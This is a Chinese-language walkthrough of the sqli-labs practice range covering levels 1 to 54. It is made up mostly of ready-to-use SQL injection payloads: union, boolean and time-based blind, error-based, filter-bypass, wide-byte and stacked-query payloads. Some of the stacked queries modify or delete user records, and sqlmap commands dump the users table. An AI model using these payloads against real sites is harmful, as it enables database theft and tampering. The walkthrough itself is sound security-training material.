提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档
一、sql语句与数据库基本了解
show databases;
其中,MySQL ,sys ,informatiom_Schema,performance_schema是系统库
information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息:
SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name
performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级
mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。
sys库具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
show tables;查表
order by 字段名字 id 也可以 跟上数字 1 2 3 4
union 合并查询
2个特性:
前面查询的语句 和 后面的查询语句 结果互不干扰
前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致
二sql-libs通关教程
第一关
1首先,判断注入点
发现是数字型注入
查看源码,闭合id
2判断表格有几列
发现表格有3列
爆出显示位,就是看看表格里面那一列是在页面显示的。
令id = -1,发现第二列和第三列里面的数据是显示在页面的
3获取当前数据名和版本号
security 和 5.7.26
4爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat()是将查询到结果连接起来
group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式
显示全部数据
找到关键表名 users
5爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6爆破字段
第二关
第三关
‘)闭合
第四关
")闭合
第五关
方法一
但是,使用union后,页面没有回显,因此,可以用bool盲注
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
方法二
由于,爆列数时有错误
看源码
因此,可以使用报错注入
报错常用的三个函数,extractvalue(),updatexml(),floor()
extractvalue()
?id=1' or extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))--+
爆数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e))--+
?id=1%27%20or%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),0x7e))--+
爆字段
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e))--+
爆破数据内容
updatexml()
第六关
”闭合,同第五关
第七关
第八关
对和错返回不同的页面回显,可以采用布尔盲注的方式,一般使用工具来bool盲注,这里我使用sqlmap
python sqlmap.py -u "http://caize/Less-8/?id=1" --batch -D "security" -T "users" --dump
第九关
由于本关无论对错回显不变,因此,不适合用bool盲注。
这里采用时间盲注
构造?id=1' and if(1=1,sleep(5),1)--+
观察到左上角一直处于响应状态,存在注入点
引用其他人的过程
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
注:时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
第十关
闭合方式为 双引号,同样是时间盲注
第十一关
观察源码,确认闭合方式,由于此时是用POST方式提交,因此选择使用bp来抓包
注入点在username,然后使用联合注入就可以了
法二:
使用sqlmap
将抓到的包保存为文本文件
>python sqlmap.py -r C:\Users\caize\Desktop\test11.txt -p "uname" --batch -D "security" -T "users" --dump
直接一步到位
第十二关
与十一关类似,闭合方式不同,联合注入
尝试报错注入
与之前的报错注入方法类似
第十三关
闭合方式‘)
第十四关
与Less12的区别闭合方式为"
第十五关
发现正确与错误页面回显不一样,尝试布尔盲注
或者使用sqlmap或延时注入
第十六关
同15关,闭合方式“)
第十七关
这里变成了修改密码的页面,这里搬运其他博主成果
因此使用报错注入
同时用sqlmap一键梭了,但是始终无法爆表,但可以爆数据库
第十八关
注入点在user-Agent
'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
使用报错注入
第十九关
注入点在referer同样是爆错注入
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#
第二十关
判断应该注入点在COOKIE
联合注入,报错注入,盲注都可以
第二十一关
抓包,发现对uname进行了base64加密
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64加密
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSM=
第二十二关
第二十二关和第二十一关一样只不过cookie是双引号base64编码,没有括号。
admin" and 1=1
第二十三关
发现将注释符过滤了
想办法将闭合符号消耗完毕,让后台能够接收,处理掉原有的闭合方式
id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
SELECT * FROM users WHERE id='$id' LIMIT 0,1
这样构造闭合的目的就是将原有单引号进行逃逸使查询语句变为 id='-1' xxx and '1'='1' 最后的半个
单引号用于逃逸后台的闭合方式
使用报错注入
第二十四关
二次注入:二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。简言之就是将脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会拼接到其他查询语句中造成注入。
首先注册一个新的账号,然后登录该账号
登录之后,修改密码,该修改密码功能的语句变为
UPDATE users SET passwd="New_Pass" WHERE users='admin'
因此,这时候我们就是在进行越权改变管理员的密码,从数据库中抽出我们注册的新账户,用该账户越权修改管理员的密码
第二十五关
提示发现and和or都被过滤了,尝试大写也被过滤了
解决思路双写例如:aandnd oorr
使用报错注入
?id=-1' oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
第二十五a关
与上一关类似,只不过时是数字型注入
第二十六关
简单测试发现and,空格,注释都没有
解决方法
\s过滤了空格和换行
解决and or可以双写或者用&&和||代替
解决注释需要强行闭合逃逸
需要空格的地方可以加上括号
?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
第二十六a关
less26a过滤的东西与less26一致,通过测试发现闭合方式还是为单引号,并且没有报错的回显,
使用盲注
第二十七关
select,union这类关键词只过滤完全大写或者完全小写,针对php这种弱类型语言,可以采用部分大写部分小写绕过
空格,换行——> %0a
第二十七a关
测试后发现闭合方式为双引号,其余与Less27相同,盲注和联合注入
第二十八关
解决的办法就是绕过union select 即可,测试发现没有报错回显,闭合方式为')
使用重写绕过写或盲注
第二十八a关
通过源码发现仅仅匹配了union select组合,其余都未匹配,与Less28一样,用盲注的方式
第二十九关
服务器端有两个部分:第一部分是tomcat为引擎的jsp型服务器,第二部分是apache为引擎的php服务器,真正提供web服务的是php服务器,往往在tomcat的服务器处做过滤处理,功能类似于waf,由于解析参数的机制不同,我们可以利用该原理绕过waf的检测;数据解析的顺序:tomcat从前往后,appache从后往前。
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
第三十关
与上一关的区别十闭合方式为双引号
第三十一关
与上上一关的区别十闭合方式为双引号+括号")
第三十二关
三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节
宽字节注入,利用mysql使用GBK编码,将两个字符看作一个汉字的特性,消除转义符号"",使单引号成功逃逸出来。
?id=1%df' and 1=1--+
?id=1%df' and 1=1 order by 4--+
?id=-1%df%27%20union%20select%201,database(),3--+
与之前步骤相同
使用sqlmap
可以看看这篇SQL注入之宽字节注入演示(详细介绍宽字节)_sqlmap unmagicquotes-优快云博客
python sqlmap.py -u "http://caize/Less-32/?id=1" --tamper=unmagicquotes.py --batch --current-db
第三十三关
Less33通关方式与Less32一模一样
第三十四关
发现username和password都有转义
uname=1%df%27 union select 1,group_concat(password,username) from users--+&passwd=admin&submit=Subm
使用联合注入
也可以报错注入
使用sqlmap
第三十五关
数字型注入唯一需要注意的是在查询字段时,数据表名使用十六进制即可,其他地方没有转义
id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
7573657273 hex encode ‘users’
第三十六关
依旧是宽字节注入
第三十七关
post型的宽字节注入,在uname住存在注入点
第三十八关
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入
前几关使用mysql_real_escape_string()这个函数进行转义,这关使用mysqli_multi_query()这个函数这就导致可能产生堆叠注入的存在,堆叠注入的危害比普通爆破更为强烈,可以实现数据的增删改查,木马的写入,甚至直接破环数据库
?id=1';insert into users(username,password)values('zzls33','111111')--+
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from
users)--+进行查询
第三十九关
注入方式为数字型注入,依旧存在堆叠注入
尝试将上一关的zzls33给删除
?id=1;delete from users where username='zzls33'--+
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from
users)--+进行查询
第四十关
测试发现闭合方式为')。依旧存在堆叠注入
修改superman密码
?id=1');update security.users set password='09090909' where username='superman'--+
?id=-1') union select 1,2,(select group_concat(username,0x7e,password)from
users)--+进行查询
第四十一关
数字型,存在堆叠注入
第四十二关
这关的注入点在密码登陆处,同时也存在堆叠注入
插入一个用户,登录
第四十三关
与Less42大体相同,唯一不同的是闭合方式为'),因此堆叠注入
第四十四关
观察源码,四十四关和四十二关一样
第四十五关
观察源码,四十五关和四十三关一样
第四十六关
现sort这个参数的改变,下面所回显的内容也改变,这就类似于ordey by 的作用
尝试报错注入
第四十七关
闭合方式为单引号
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
第四十八关
这关不显示报错信息,采用盲注
?sort=1 and if(length(database())=8,sleep(3),0)--+
延时注入
第四十九关
此关的闭合方式为单引号,还是需要时间盲注去猜解数据
?sort=1‘ and if(length(database())=8,sleep(3),0)--+
第五十关
可以使用堆叠注入,也可以使用报错注入
堆叠注入
?sort=1;insert into users(username,password)values('zzls44','2222')--+
第五十一关
此关与Less50的区别为闭合方式为单引号,字符型注入,同样存在堆叠注入
可以报错注入,可以堆叠注入
第五十二关
时间盲注或堆叠注入
?sort=1' and if(length(database())=8,sleep(3),0)--+
第五十三关
数字型注入,依旧时间盲注
?sort=1 and if(length(database())=8,sleep(3),0)--+
第五十四关
从Less54开始就需要在规定的次数内找到通关密码,超过规定次数通关密码就会刷新改变
e,因为靶场的缘故,导致作者54关以后的靶场无法正常使用,就做到这了。我看了一下,其实大差不差,推荐看这个博主
https://blog.youkuaiyun.com/dreamthe/article/details/123795302讲的很详细
总结
多多实战,纸上得来终觉浅